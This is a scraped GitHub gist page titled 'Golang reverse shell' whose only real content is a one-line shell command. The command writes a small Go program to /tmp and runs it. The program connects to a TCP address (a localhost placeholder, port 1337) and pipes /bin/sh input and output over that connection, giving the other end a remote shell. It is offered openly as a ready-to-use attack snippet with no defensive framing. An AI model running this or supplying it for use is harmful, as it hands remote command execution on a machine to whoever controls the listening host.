Skip to content

Instantly share code, notes, and snippets.

@reanimat0r
Forked from takeshixx/shell.go
Created October 30, 2018 00:25
Show Gist options
  • Select an option

  • Save reanimat0r/5c017bb3de9cf620ab1f8e30f9352a5a to your computer and use it in GitHub Desktop.

Select an option

Save reanimat0r/5c017bb3de9cf620ab1f8e30f9352a5a to your computer and use it in GitHub Desktop.
Golang reverse shell
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment